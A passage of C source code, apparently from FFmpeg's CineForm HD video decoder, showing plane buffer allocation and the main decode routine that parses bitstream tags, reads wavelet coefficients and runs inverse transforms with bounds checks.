ff_set_dimensions(avctx, s->coded_width, s->coded_height)) < 0) return ret; avctx->pix_fmt = s->coded_format; ff_cfhddsp_init(&s->dsp, s->bpc, avctx->pix_fmt == AV_PIX_FMT_BAYER_RGGB16); if ((ret = av_pix_fmt_get_chroma_sub_sample(s->coded_format, &chroma_x_shift, &chroma_y_shift)) < 0) return ret; planes = av_pix_fmt_count_planes(s->coded_format); if (s->coded_format == AV_PIX_FMT_BAYER_RGGB16) { planes = 4; chroma_x_shift = 1; chroma_y_shift = 1; bayer = 1; } for (i = 0; i < planes; i++) { int w8, h8, w4, h4, w2, h2; int width = (i || bayer) ? s->coded_width >> chroma_x_shift : s->coded_width; int height = (i || bayer) ? s->coded_height >> chroma_y_shift : s->coded_height; ptrdiff_t stride = (FFALIGN(width / 8, 8) + 64) * 8; if (chroma_y_shift && !bayer) height = FFALIGN(height / 8, 2) * 8; s->plane[i].width = width; s->plane[i].height = height; s->plane[i].stride = stride; w8 = FFALIGN(s->plane[i].width / 8, 8) + 64; h8 = FFALIGN(height, 8) / 8; w4 = w8 * 2; h4 = h8 * 2; w2 = w4 * 2; h2 = h4 * 2; if (s->transform_type == 0) { s->plane[i].idwt_size = FFALIGN(height, 8) * stride; s->plane[i].idwt_buf = av_mallocz_array(s->plane[i].idwt_size, sizeof(*s->plane[i].idwt_buf)); s->plane[i].idwt_tmp = av_malloc_array(s->plane[i].idwt_size, sizeof(*s->plane[i].idwt_tmp)); } else { s->plane[i].idwt_size = FFALIGN(height, 8) * stride * 2; s->plane[i].idwt_buf = av_mallocz_array(s->plane[i].idwt_size, sizeof(*s->plane[i].idwt_buf)); s->plane[i].idwt_tmp = av_malloc_array(s->plane[i].idwt_size, sizeof(*s->plane[i].idwt_tmp)); } if (!s->plane[i].idwt_buf || !s->plane[i].idwt_tmp) return AVERROR(ENOMEM); s->plane[i].subband[0] = s->plane[i].idwt_buf; s->plane[i].subband[1] = s->plane[i].idwt_buf + 2 * w8 * h8; s->plane[i].subband[2] = s->plane[i].idwt_buf + 1 * w8 * h8; s->plane[i].subband[3] = s->plane[i].idwt_buf + 3 * w8 * h8; s->plane[i].subband[4] = s->plane[i].idwt_buf + 2 * w4 * h4; s->plane[i].subband[5] = s->plane[i].idwt_buf + 1 * w4 * h4; s->plane[i].subband[6] = s->plane[i].idwt_buf + 3 * w4 * h4; if (s->transform_type == 0) { s->plane[i].subband[7] = s->plane[i].idwt_buf + 2 * w2 * h2; s->plane[i].subband[8] = s->plane[i].idwt_buf + 1 * w2 * h2; s->plane[i].subband[9] = s->plane[i].idwt_buf + 3 * w2 * h2; } else { int16_t *frame2 = s->plane[i].subband[7] = s->plane[i].idwt_buf + 4 * w2 * h2; s->plane[i].subband[8] = frame2 + 2 * w4 * h4; s->plane[i].subband[9] = frame2 + 1 * w4 * h4; s->plane[i].subband[10] = frame2 + 3 * w4 * h4; s->plane[i].subband[11] = frame2 + 2 * w2 * h2; s->plane[i].subband[12] = frame2 + 1 * w2 * h2; s->plane[i].subband[13] = frame2 + 3 * w2 * h2; s->plane[i].subband[14] = s->plane[i].idwt_buf + 2 * w2 * h2; s->plane[i].subband[15] = s->plane[i].idwt_buf + 1 * w2 * h2; s->plane[i].subband[16] = s->plane[i].idwt_buf + 3 * w2 * h2; } if (s->transform_type == 0) { for (j = 0; j < DWT_LEVELS; j++) { for (k = 0; k < FF_ARRAY_ELEMS(s->plane[i].band[j]); k++) { s->plane[i].band[j][k].a_width = w8 << j; s->plane[i].band[j][k].a_height = h8 << j; } } } else { for (j = 0; j < DWT_LEVELS_3D; j++) { int t = j < 1 ? 0 : (j < 3 ? 1 : 2); for (k = 0; k < FF_ARRAY_ELEMS(s->plane[i].band[j]); k++) { s->plane[i].band[j][k].a_width = w8 << t; s->plane[i].band[j][k].a_height = h8 << t; } } } /* ll2 and ll1 commented out because they are done in-place */ s->plane[i].l_h[0] = s->plane[i].idwt_tmp; s->plane[i].l_h[1] = s->plane[i].idwt_tmp + 2 * w8 * h8; // s->plane[i].l_h[2] = ll2; s->plane[i].l_h[3] = s->plane[i].idwt_tmp; s->plane[i].l_h[4] = s->plane[i].idwt_tmp + 2 * w4 * h4; // s->plane[i].l_h[5] = ll1; s->plane[i].l_h[6] = s->plane[i].idwt_tmp; s->plane[i].l_h[7] = s->plane[i].idwt_tmp + 2 * w2 * h2; if (s->transform_type != 0) { int16_t *frame2 = s->plane[i].idwt_tmp + 4 * w2 * h2; s->plane[i].l_h[8] = frame2; s->plane[i].l_h[9] = frame2 + 2 * w2 * h2; } } s->a_height = s->coded_height; s->a_width = s->coded_width; s->a_format = s->coded_format; return 0; } static int cfhd_decode(AVCodecContext *avctx, void *data, int *got_frame, AVPacket *avpkt) { CFHDContext *s = avctx->priv_data; CFHDDSPContext *dsp = &s->dsp; GetByteContext gb; ThreadFrame frame = { .f = data }; AVFrame *pic = data; int ret = 0, i, j, plane, got_buffer = 0; int16_t *coeff_data; init_frame_defaults(s); s->planes = av_pix_fmt_count_planes(s->coded_format); bytestream2_init(&gb, avpkt->data, avpkt->size); while (bytestream2_get_bytes_left(&gb) >= 4) { /* Bit weird but implement the tag parsing as the spec says */ uint16_t tagu = bytestream2_get_be16(&gb); int16_t tag = (int16_t)tagu; int8_t tag8 = (int8_t)(tagu >> 8); uint16_t abstag = abs(tag); int8_t abs_tag8 = abs(tag8); uint16_t data = bytestream2_get_be16(&gb); if (abs_tag8 >= 0x60 && abs_tag8 <= 0x6f) { av_log(avctx, AV_LOG_DEBUG, "large len %x\n", ((tagu & 0xff) << 16) | data); } else if (tag == SampleFlags) { av_log(avctx, AV_LOG_DEBUG, "Progressive? %"PRIu16"\n", data); s->progressive = data & 0x0001; } else if (tag == FrameType) { s->frame_type = data; av_log(avctx, AV_LOG_DEBUG, "Frame type %"PRIu16"\n", data); } else if (abstag == VersionMajor) { av_log(avctx, AV_LOG_DEBUG, "Version major %"PRIu16"\n", data); } else if (abstag == VersionMinor) { av_log(avctx, AV_LOG_DEBUG, "Version minor %"PRIu16"\n", data); } else if (abstag == VersionRevision) { av_log(avctx, AV_LOG_DEBUG, "Version revision %"PRIu16"\n", data); } else if (abstag == VersionEdit) { av_log(avctx, AV_LOG_DEBUG, "Version edit %"PRIu16"\n", data); } else if (abstag == Version) { av_log(avctx, AV_LOG_DEBUG, "Version %"PRIu16"\n", data); } else if (tag == ImageWidth) { av_log(avctx, AV_LOG_DEBUG, "Width %"PRIu16"\n", data); s->coded_width = data; } else if (tag == ImageHeight) { av_log(avctx, AV_LOG_DEBUG, "Height %"PRIu16"\n", data); s->coded_height = data; } else if (tag == ChannelCount) { av_log(avctx, AV_LOG_DEBUG, "Channel Count: %"PRIu16"\n", data); s->channel_cnt = data; if (data > 4) { av_log(avctx, AV_LOG_ERROR, "Channel Count of %"PRIu16" is unsupported\n", data); ret = AVERROR_PATCHWELCOME; goto end; } } else if (tag == SubbandCount) { av_log(avctx, AV_LOG_DEBUG, "Subband Count: %"PRIu16"\n", data); if (data != SUBBAND_COUNT && data != SUBBAND_COUNT_3D) { av_log(avctx, AV_LOG_ERROR, "Subband Count of %"PRIu16" is unsupported\n", data); ret = AVERROR_PATCHWELCOME; goto end; } } else if (tag == ChannelNumber) { s->channel_num = data; av_log(avctx, AV_LOG_DEBUG, "Channel number %"PRIu16"\n", data); if (s->channel_num >= s->planes) { av_log(avctx, AV_LOG_ERROR, "Invalid channel number\n"); ret = AVERROR(EINVAL); goto end; } init_plane_defaults(s); } else if (tag == SubbandNumber) { if (s->subband_num != 0 && data == 1 && (s->transform_type == 0 || s->transform_type == 2)) // hack s->level++; av_log(avctx, AV_LOG_DEBUG, "Subband number %"PRIu16"\n", data); s->subband_num = data; if ((s->transform_type == 0 && s->level >= DWT_LEVELS) || (s->transform_type == 2 && s->level >= DWT_LEVELS_3D)) { av_log(avctx, AV_LOG_ERROR, "Invalid level\n"); ret = AVERROR(EINVAL); goto end; } if (s->subband_num > 3) { av_log(avctx, AV_LOG_ERROR, "Invalid subband number\n"); ret = AVERROR(EINVAL); goto end; } } else if (tag == SubbandBand) { av_log(avctx, AV_LOG_DEBUG, "Subband number actual %"PRIu16"\n", data); if ((s->transform_type == 0 && data >= SUBBAND_COUNT) || (s->transform_type == 2 && data >= SUBBAND_COUNT_3D && data != 255)) { av_log(avctx, AV_LOG_ERROR, "Invalid subband number actual\n"); ret = AVERROR(EINVAL); goto end; } if (s->transform_type == 0 || s->transform_type == 2) s->subband_num_actual = data; else av_log(avctx, AV_LOG_WARNING, "Ignoring subband num actual %"PRIu16"\n", data); } else if (tag == LowpassPrecision) av_log(avctx, AV_LOG_DEBUG, "Lowpass precision bits: %"PRIu16"\n", data); else if (tag == Quantization) { s->quantisation = data; av_log(avctx, AV_LOG_DEBUG, "Quantisation: %"PRIu16"\n", data); } else if (tag == PrescaleTable) { for (i = 0; i < 8; i++) s->prescale_table[i] = (data >> (14 - i * 2)) & 0x3; av_log(avctx, AV_LOG_DEBUG, "Prescale table: %x\n", data); } else if (tag == BandEncoding) { if (!data || data > 5) { av_log(avctx, AV_LOG_ERROR, "Invalid band encoding\n"); ret = AVERROR(EINVAL); goto end; } s->band_encoding = data; av_log(avctx, AV_LOG_DEBUG, "Encode Method for Subband %d : %x\n", s->subband_num_actual, data); } else if (tag == LowpassWidth) { av_log(avctx, AV_LOG_DEBUG, "Lowpass width %"PRIu16"\n", data); s->plane[s->channel_num].band[0][0].width = data; s->plane[s->channel_num].band[0][0].stride = data; } else if (tag == LowpassHeight) { av_log(avctx, AV_LOG_DEBUG, "Lowpass height %"PRIu16"\n", data); s->plane[s->channel_num].band[0][0].height = data; } else if (tag == SampleType) { s->sample_type = data; av_log(avctx, AV_LOG_DEBUG, "Sample type? %"PRIu16"\n", data); } else if (tag == TransformType) { if (data > 2) { av_log(avctx, AV_LOG_ERROR, "Invalid transform type\n"); ret = AVERROR(EINVAL); goto end; } else if (data == 1) { av_log(avctx, AV_LOG_ERROR, "unsupported transform type\n"); ret = AVERROR_PATCHWELCOME; goto end; } if (s->transform_type == -1) { s->transform_type = data; av_log(avctx, AV_LOG_DEBUG, "Transform type %"PRIu16"\n", data); } else { av_log(avctx, AV_LOG_DEBUG, "Ignoring additional transform type %"PRIu16"\n", data); } } else if (abstag >= 0x4000 && abstag <= 0x40ff) { if (abstag == 0x4001) s->peak.level = 0; av_log(avctx, AV_LOG_DEBUG, "Small chunk length %d %s\n", data * 4, tag < 0 ? "optional" : "required"); bytestream2_skipu(&gb, data * 4); } else if (tag == FrameIndex) { av_log(avctx, AV_LOG_DEBUG, "Frame index %"PRIu16"\n", data); s->frame_index = data; } else if (tag == SampleIndexTable) { av_log(avctx, AV_LOG_DEBUG, "Sample index table - skipping %i values\n", data); if (data > bytestream2_get_bytes_left(&gb) / 4) { av_log(avctx, AV_LOG_ERROR, "too many values (%d)\n", data); ret = AVERROR_INVALIDDATA; goto end; } for (i = 0; i < data; i++) { uint32_t offset = bytestream2_get_be32(&gb); av_log(avctx, AV_LOG_DEBUG, "Offset = %"PRIu32"\n", offset); } } else if (tag == HighpassWidth) { av_log(avctx, AV_LOG_DEBUG, "Highpass width %i channel %i level %i subband %i\n", data, s->channel_num, s->level, s->subband_num); if (data < 3) { av_log(avctx, AV_LOG_ERROR, "Invalid highpass width\n"); ret = AVERROR(EINVAL); goto end; } s->plane[s->channel_num].band[s->level][s->subband_num].width = data; s->plane[s->channel_num].band[s->level][s->subband_num].stride = FFALIGN(data, 8); } else if (tag == HighpassHeight) { av_log(avctx, AV_LOG_DEBUG, "Highpass height %i\n", data); if (data < 3) { av_log(avctx, AV_LOG_ERROR, "Invalid highpass height\n"); ret = AVERROR(EINVAL); goto end; } s->plane[s->channel_num].band[s->level][s->subband_num].height = data; } else if (tag == BandWidth) { av_log(avctx, AV_LOG_DEBUG, "Highpass width2 %i\n", data); if (data < 3) { av_log(avctx, AV_LOG_ERROR, "Invalid highpass width2\n"); ret = AVERROR(EINVAL); goto end; } s->plane[s->channel_num].band[s->level][s->subband_num].width = data; s->plane[s->channel_num].band[s->level][s->subband_num].stride = FFALIGN(data, 8); } else if (tag == BandHeight) { av_log(avctx, AV_LOG_DEBUG, "Highpass height2 %i\n", data); if (data < 3) { av_log(avctx, AV_LOG_ERROR, "Invalid highpass height2\n"); ret = AVERROR(EINVAL); goto end; } s->plane[s->channel_num].band[s->level][s->subband_num].height = data; } else if (tag == InputFormat) { av_log(avctx, AV_LOG_DEBUG, "Input format %i\n", data); if (s->coded_format == AV_PIX_FMT_NONE || s->coded_format == AV_PIX_FMT_YUV422P10) { if (data >= 100 && data <= 105) { s->coded_format = AV_PIX_FMT_BAYER_RGGB16; } else if (data >= 122 && data <= 128) { s->coded_format = AV_PIX_FMT_GBRP12; } else if (data == 30) { s->coded_format = AV_PIX_FMT_GBRAP12; } else { s->coded_format = AV_PIX_FMT_YUV422P10; } s->planes = s->coded_format == AV_PIX_FMT_BAYER_RGGB16 ? 4 : av_pix_fmt_count_planes(s->coded_format); } } else if (tag == BandCodingFlags) { s->codebook = data & 0xf; s->difference_coding = (data >> 4) & 1; av_log(avctx, AV_LOG_DEBUG, "Other codebook? %i\n", s->codebook); } else if (tag == Precision) { av_log(avctx, AV_LOG_DEBUG, "Precision %i\n", data); if (!(data == 10 || data == 12)) { av_log(avctx, AV_LOG_ERROR, "Invalid bits per channel\n"); ret = AVERROR(EINVAL); goto end; } avctx->bits_per_raw_sample = s->bpc = data; } else if (tag == EncodedFormat) { av_log(avctx, AV_LOG_DEBUG, "Sample format? %i\n", data); if (data == 1) { s->coded_format = AV_PIX_FMT_YUV422P10; } else if (data == 2) { s->coded_format = AV_PIX_FMT_BAYER_RGGB16; } else if (data == 3) { s->coded_format = AV_PIX_FMT_GBRP12; } else if (data == 4) { s->coded_format = AV_PIX_FMT_GBRAP12; } else { avpriv_report_missing_feature(avctx, "Sample format of %"PRIu16, data); ret = AVERROR_PATCHWELCOME; goto end; } s->planes = data == 2 ? 4 : av_pix_fmt_count_planes(s->coded_format); } else if (tag == -DisplayHeight) { av_log(avctx, AV_LOG_DEBUG, "Cropped height %"PRIu16"\n", data); s->cropped_height = data; } else if (tag == -PeakOffsetLow) { s->peak.offset &= ~0xffff; s->peak.offset |= (data & 0xffff); s->peak.base = gb; s->peak.level = 0; } else if (tag == -PeakOffsetHigh) { s->peak.offset &= 0xffff; s->peak.offset |= (data & 0xffffU)<<16; s->peak.base = gb; s->peak.level = 0; } else if (tag == -PeakLevel && s->peak.offset) { s->peak.level = data; if (s->peak.offset < 4 - bytestream2_tell(&s->peak.base) || s->peak.offset > 4 + bytestream2_get_bytes_left(&s->peak.base) ) { ret = AVERROR_INVALIDDATA; goto end; } bytestream2_seek(&s->peak.base, s->peak.offset - 4, SEEK_CUR); } else av_log(avctx, AV_LOG_DEBUG, "Unknown tag %i data %x\n", tag, data); if (tag == BitstreamMarker && data == 0xf0f && s->coded_format != AV_PIX_FMT_NONE) { int lowpass_height = s->plane[s->channel_num].band[0][0].height; int lowpass_width = s->plane[s->channel_num].band[0][0].width; int factor = s->coded_format == AV_PIX_FMT_BAYER_RGGB16 ? 2 : 1; if (s->coded_width) { s->coded_width *= factor; } if (s->coded_height) { s->coded_height *= factor; } if (!s->a_width && !s->coded_width) { s->coded_width = lowpass_width * factor * 8; } if (!s->a_height && !s->coded_height) { s->coded_height = lowpass_height * factor * 8; } if (s->a_width && !s->coded_width) s->coded_width = s->a_width; if (s->a_height && !s->coded_height) s->coded_height = s->a_height; if (s->a_width != s->coded_width || s->a_height != s->coded_height || s->a_format != s->coded_format) { free_buffers(s); if ((ret = alloc_buffers(avctx)) < 0) { free_buffers(s); return ret; } } ret = ff_set_dimensions(avctx, s->coded_width, s->coded_height); if (ret < 0) return ret; if (s->cropped_height) { unsigned height = s->cropped_height << (avctx->pix_fmt == AV_PIX_FMT_BAYER_RGGB16); if (avctx->height < height) return AVERROR_INVALIDDATA; avctx->height = height; } frame.f->width = frame.f->height = 0; if ((ret = ff_thread_get_buffer(avctx, &frame, 0)) < 0) return ret; s->coded_width = 0; s->coded_height = 0; s->coded_format = AV_PIX_FMT_NONE; got_buffer = 1; } else if (tag == FrameIndex && data == 1 && s->sample_type == 1 && s->frame_type == 2) { frame.f->width = frame.f->height = 0; if ((ret = ff_thread_get_buffer(avctx, &frame, 0)) < 0) return ret; s->coded_width = 0; s->coded_height = 0; s->coded_format = AV_PIX_FMT_NONE; got_buffer = 1; } if (s->subband_num_actual == 255) goto finish; coeff_data = s->plane[s->channel_num].subband[s->subband_num_actual]; /* Lowpass coefficients */ if (tag == BitstreamMarker && data == 0xf0f && s->a_width && s->a_height) { int lowpass_height = s->plane[s->channel_num].band[0][0].height; int lowpass_width = s->plane[s->channel_num].band[0][0].width; int lowpass_a_height = s->plane[s->channel_num].band[0][0].a_height; int lowpass_a_width = s->plane[s->channel_num].band[0][0].a_width; if (lowpass_width < 3 || lowpass_width > lowpass_a_width) { av_log(avctx, AV_LOG_ERROR, "Invalid lowpass width\n"); ret = AVERROR(EINVAL); goto end; } if (lowpass_height < 3 || lowpass_height > lowpass_a_height) { av_log(avctx, AV_LOG_ERROR, "Invalid lowpass height\n"); ret = AVERROR(EINVAL); goto end; } if (!got_buffer) { av_log(avctx, AV_LOG_ERROR, "No end of header tag found\n"); ret = AVERROR(EINVAL); goto end; } if (lowpass_height > lowpass_a_height || lowpass_width > lowpass_a_width || lowpass_width * lowpass_height * sizeof(int16_t) > bytestream2_get_bytes_left(&gb)) { av_log(avctx, AV_LOG_ERROR, "Too many lowpass coefficients\n"); ret = AVERROR(EINVAL); goto end; } av_log(avctx, AV_LOG_DEBUG, "Start of lowpass coeffs component %d height:%d, width:%d\n", s->channel_num, lowpass_height, lowpass_width); for (i = 0; i < lowpass_height; i++) { for (j = 0; j < lowpass_width; j++) coeff_data[j] = bytestream2_get_be16u(&gb); coeff_data += lowpass_width; } /* Align to mod-4 position to continue reading tags */ bytestream2_seek(&gb, bytestream2_tell(&gb) & 3, SEEK_CUR); /* Copy last line of coefficients if odd height */ if (lowpass_height & 1) { memcpy(&coeff_data[lowpass_height * lowpass_width], &coeff_data[(lowpass_height - 1) * lowpass_width], lowpass_width * sizeof(*coeff_data)); } av_log(avctx, AV_LOG_DEBUG, "Lowpass coefficients %d\n", lowpass_width * lowpass_height); } if ((tag == BandHeader || tag == BandSecondPass) && s->subband_num_actual != 255 && s->a_width && s->a_height) { int highpass_height = s->plane[s->channel_num].band[s->level][s->subband_num].height; int highpass_width = s->plane[s->channel_num].band[s->level][s->subband_num].width; int highpass_a_width = s->plane[s->channel_num].band[s->level][s->subband_num].a_width; int highpass_a_height = s->plane[s->channel_num].band[s->level][s->subband_num].a_height; int highpass_stride = s->plane[s->channel_num].band[s->level][s->subband_num].stride; int expected; int a_expected = highpass_a_height * highpass_a_width; int level, run, coeff; int count = 0, bytes; if (!got_buffer) { av_log(avctx, AV_LOG_ERROR, "No end of header tag found\n"); ret = AVERROR(EINVAL); goto end; } if (highpass_height > highpass_a_height || highpass_width > highpass_a_width || a_expected < highpass_height * (uint64_t)highpass_stride) { av_log(avctx, AV_LOG_ERROR, "Too many highpass coefficients\n"); ret = AVERROR(EINVAL); goto end; } expected = highpass_height * highpass_stride; av_log(avctx, AV_LOG_DEBUG, "Start subband coeffs plane %i level %i codebook %i expected %i\n", s->channel_num, s->level, s->codebook, expected); ret = init_get_bits8(&s->gb, gb.buffer, bytestream2_get_bytes_left(&gb)); if (ret < 0) goto end; { OPEN_READER(re, &s->gb); const int lossless = s->band_encoding == 5; if (s->codebook == 0 && s->transform_type == 2 && s->subband_num_actual == 7) s->codebook = 1; if (!s->codebook) { while (1) { UPDATE_CACHE(re, &s->gb); GET_RL_VLC(level, run, re, &s->gb, s->table_9_rl_vlc, VLC_BITS, 3, 1); /* escape */ if (level == 64) break; count += run; if (count > expected) break; if (!lossless) coeff = dequant_and_decompand(s, level, s->quantisation, 0); else coeff = level; if (tag == BandSecondPass) { const uint16_t q = s->quantisation; for (i = 0; i < run; i++) { *coeff_data |= coeff * 256; *coeff_data++ *= q; } } else { for (i = 0; i < run; i++) *coeff_data++ = coeff; } } } else { while (1) { UPDATE_CACHE(re, &s->gb); GET_RL_VLC(level, run, re, &s->gb, s->table_18_rl_vlc, VLC_BITS, 3, 1); /* escape */ if (level == 255 && run == 2) break; count += run; if (count > expected) break; if (!lossless) coeff = dequant_and_decompand(s, level, s->quantisation, s->codebook); else coeff = level; if (tag == BandSecondPass) { const uint16_t q = s->quantisation; for (i = 0; i < run; i++) { *coeff_data |= coeff * 256; *coeff_data++ *= q; } } else { for (i = 0; i < run; i++) *coeff_data++ = coeff; } } } CLOSE_READER(re, &s->gb); } if (count > expected) { av_log(avctx, AV_LOG_ERROR, "Escape codeword not found, probably corrupt data\n"); ret = AVERROR(EINVAL); goto end; } if (s->peak.level) peak_table(coeff_data - count, &s->peak, count); if (s->difference_coding) difference_coding(s->plane[s->channel_num].subband[s->subband_num_actual], highpass_width, highpass_height); bytes = FFALIGN(AV_CEIL_RSHIFT(get_bits_count(&s->gb), 3), 4); if (bytes > bytestream2_get_bytes_left(&gb)) { av_log(avctx, AV_LOG_ERROR, "Bitstream overread error\n"); ret = AVERROR(EINVAL); goto end; } else bytestream2_seek(&gb, bytes, SEEK_CUR); av_log(avctx, AV_LOG_DEBUG, "End subband coeffs %i extra %i\n", count, count - expected); finish: if (s->subband_num_actual != 255) s->codebook = 0; } } s->planes = av_pix_fmt_count_planes(avctx->pix_fmt); if (avctx->pix_fmt == AV_PIX_FMT_BAYER_RGGB16) { s->progressive = 1; s->planes = 4; } ff_thread_finish_setup(avctx); if (!s->a_width || !s->a_height || s->a_format == AV_PIX_FMT_NONE || s->coded_width || s->coded_height || s->coded_format != AV_PIX_FMT_NONE) { av_log(avctx, AV_LOG_ERROR, "Invalid dimensions\n"); ret = AVERROR(EINVAL); goto end; } if (!got_buffer) { av_log(avctx, AV_LOG_ERROR, "No end of header tag found\n"); ret = AVERROR(EINVAL); goto end; } if (s->transform_type == 0 && s->sample_type != 1) { for (plane = 0; plane < s->planes && !ret; plane++) { /* level 1 */ int lowpass_height = s->plane[plane].band[0][0].height; int output_stride = s->plane[plane].band[0][0].a_width; int lowpass_width = s->plane[plane].band[0][0].width; int highpass_stride = s->plane[plane].band[0][1].stride; int act_plane = plane == 1 ? 2 : plane == 2 ? 1 : plane; ptrdiff_t dst_linesize; int16_t *low, *high, *output, *dst; if (avctx->pix_fmt == AV_PIX_FMT_BAYER_RGGB16) { act_plane = 0; dst_linesize = pic->linesize[act_plane]; } else { dst_linesize = pic->linesize[act_plane] / 2; } if (lowpass_height > s->plane[plane].band[0][0].a_height || lowpass_width > s->plane[plane].band[0][0].a_width || !highpass_stride || s->plane[plane].band[0][1].width > s->plane[plane].band[0][1].a_width || lowpass_width < 3 || lowpass_height < 3) { av_log(avctx, AV_LOG_ERROR, "Invalid plane dimensions\n"); ret = AVERROR(EINVAL); goto end; } av_log(avctx, AV_LOG_DEBUG, "Decoding level 1 plane %i %i %i %i\n", plane, lowpass_height, lowpass_width, highpass_stride); low = s->plane[plane].subband[0]; high = s->plane[plane].subband[2]; output = s->plane[plane].l_h[0]; dsp->vert_filter(output, output_stride, low, lowpass_width, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].subband[1]; high = s->plane[plane].subband[3]; output = s->plane[plane].l_h[1]; dsp->vert_filter(output, output_stride, low, highpass_stride, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].l_h[0]; high = s->plane[plane].l_h[1]; output = s->plane[plane].subband[0]; dsp->horiz_filter(output, output_stride, low, output_stride, high, output_stride, lowpass_width, lowpass_height * 2); if (s->bpc == 12) { output = s->plane[plane].subband[0]; for (i = 0; i < lowpass_height * 2; i++) { for (j = 0; j < lowpass_width * 2; j++) output[j] *= 4; output += output_stride * 2; } } /* level 2 */ lowpass_height = s->plane[plane].band[1][1].height; output_stride = s->plane[plane].band[1][1].a_width; lowpass_width = s->plane[plane].band[1][1].width; highpass_stride = s->plane[plane].band[1][1].stride; if (lowpass_height > s->plane[plane].band[1][1].a_height || lowpass_width > s->plane[plane].band[1][1].a_width || !highpass_stride || s->plane[plane].band[1][1].width > s->plane[plane].band[1][1].a_width || lowpass_width < 3 || lowpass_height < 3) { av_log(avctx, AV_LOG_ERROR, "Invalid plane dimensions\n"); ret = AVERROR(EINVAL); goto end; } av_log(avctx, AV_LOG_DEBUG, "Level 2 plane %i %i %i %i\n", plane, lowpass_height, lowpass_width, highpass_stride); low = s->plane[plane].subband[0]; high = s->plane[plane].subband[5]; output = s->plane[plane].l_h[3]; dsp->vert_filter(output, output_stride, low, output_stride, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].subband[4]; high = s->plane[plane].subband[6]; output = s->plane[plane].l_h[4]; dsp->vert_filter(output, output_stride, low, highpass_stride, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].l_h[3]; high = s->plane[plane].l_h[4]; output = s->plane[plane].subband[0]; dsp->horiz_filter(output, output_stride, low, output_stride, high, output_stride, lowpass_width, lowpass_height * 2); output = s->plane[plane].subband[0]; for (i = 0; i < lowpass_height * 2; i++) { for (j = 0; j < lowpass_width * 2; j++) output[j] *= 4; output += output_stride * 2; } /* level 3 */ lowpass_height = s->plane[plane].band[2][1].height; output_stride = s->plane[plane].band[2][1].a_width; lowpass_width = s->plane[plane].band[2][1].width; highpass_stride = s->plane[plane].band[2][1].stride; if (lowpass_height > s->plane[plane].band[2][1].a_height || lowpass_width > s->plane[plane].band[2][1].a_width || !highpass_stride || s->plane[plane].band[2][1].width > s->plane[plane].band[2][1].a_width || lowpass_height < 3 || lowpass_width < 3 || lowpass_width * 2 > s->plane[plane].width) { av_log(avctx, AV_LOG_ERROR, "Invalid plane dimensions\n"); ret = AVERROR(EINVAL); goto end; } av_log(avctx, AV_LOG_DEBUG, "Level 3 plane %i %i %i %i\n", plane, lowpass_height, lowpass_width, highpass_stride); if (s->progressive) { low = s->plane[plane].subband[0]; high = s->plane[plane].subband[8]; output = s->plane[plane].l_h[6]; dsp->vert_filter(output, output_stride, low, output_stride, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].subband[7]; high = s->plane[plane].subband[9]; output = s->plane[plane].l_h[7]; dsp->vert_filter(output, output_stride, low, highpass_stride, high, highpass_stride, lowpass_width, lowpass_height); dst = (int16_t *)pic->data[act_plane]; if (avctx->pix_fmt == AV_PIX_FMT_BAYER_RGGB16) { if (plane & 1) dst++; if (plane > 1) dst += pic->linesize[act_plane] >> 1; } low = s->plane[plane].l_h[6]; high = s->plane[plane].l_h[7]; if (avctx->pix_fmt == AV_PIX_FMT_BAYER_RGGB16 && (lowpass_height * 2 > avctx->coded_height / 2 || lowpass_width * 2 > avctx->coded_width / 2 ) ) { ret = AVERROR_INVALIDDATA; goto end; } for (i = 0; i < s->plane[act_plane].height; i++) { dsp->horiz_filter_clip(dst, low, high, lowpass_width, s->bpc); if (avctx->pix_fmt == AV_PIX_FMT_GBRAP12 && act_plane == 3) process_alpha(dst, lowpass_width * 2); low += output_stride; high += output_stride; dst += dst_linesize; } } else { av_log(avctx, AV_LOG_DEBUG, "interlaced frame ? %d", pic->interlaced_frame); pic->interlaced_frame = 1; low = s->plane[plane].subband[0]; high = s->plane[plane].subband[7]; output = s->plane[plane].l_h[6]; dsp->horiz_filter(output, output_stride, low, output_stride, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].subband[8]; high = s->plane[plane].subband[9]; output = s->plane[plane].l_h[7]; dsp->horiz_filter(output, output_stride, low, highpass_stride, high, highpass_stride, lowpass_width, lowpass_height); dst = (int16_t *)pic->data[act_plane]; low = s->plane[plane].l_h[6]; high = s->plane[plane].l_h[7]; for (i = 0; i < s->plane[act_plane].height / 2; i++) { interlaced_vertical_filter(dst, low, high, lowpass_width * 2, pic->linesize[act_plane]/2, act_plane); low += output_stride * 2; high += output_stride * 2; dst += pic->linesize[act_plane]; } } } } else if (s->transform_type == 2 && (avctx->internal->is_copy || s->frame_index == 1 || s->sample_type != 1)) { for (plane = 0; plane < s->planes && !ret; plane++) { int lowpass_height = s->plane[plane].band[0][0].height; int output_stride = s->plane[plane].band[0][0].a_width; int lowpass_width = s->plane[plane].band[0][0].width; int highpass_stride = s->plane[plane].band[0][1].stride; int act_plane = plane == 1 ? 2 : plane == 2 ? 1 : plane; int16_t *low, *high, *output, *dst; ptrdiff_t dst_linesize; if (avctx->pix_fmt == AV_PIX_FMT_BAYER_RGGB16) { act_plane = 0; dst_linesize = pic->linesize[act_plane]; } else { dst_linesize = pic->linesize[act_plane] / 2; } if (lowpass_height > s->plane[plane].band[0][0].a_height || lowpass_width > s->plane[plane].band[0][0].a_width || !highpass_stride || s->plane[plane].band[0][1].width > s->plane[plane].band[0][1].a_width || lowpass_width < 3 || lowpass_height < 3) { av_log(avctx, AV_LOG_ERROR, "Invalid plane dimensions\n"); ret = AVERROR(EINVAL); goto end; } av_log(avctx, AV_LOG_DEBUG, "Decoding level 1 plane %i %i %i %i\n", plane, lowpass_height, lowpass_width, highpass_stride); low = s->plane[plane].subband[0]; high = s->plane[plane].subband[2]; output = s->plane[plane].l_h[0]; dsp->vert_filter(output, output_stride, low, lowpass_width, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].subband[1]; high = s->plane[plane].subband[3]; output = s->plane[plane].l_h[1]; dsp->vert_filter(output, output_stride, low, highpass_stride, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].l_h[0]; high = s->plane[plane].l_h[1]; output = s->plane[plane].l_h[7]; dsp->horiz_filter(output, output_stride, low, output_stride, high, output_stride, lowpass_width, lowpass_height * 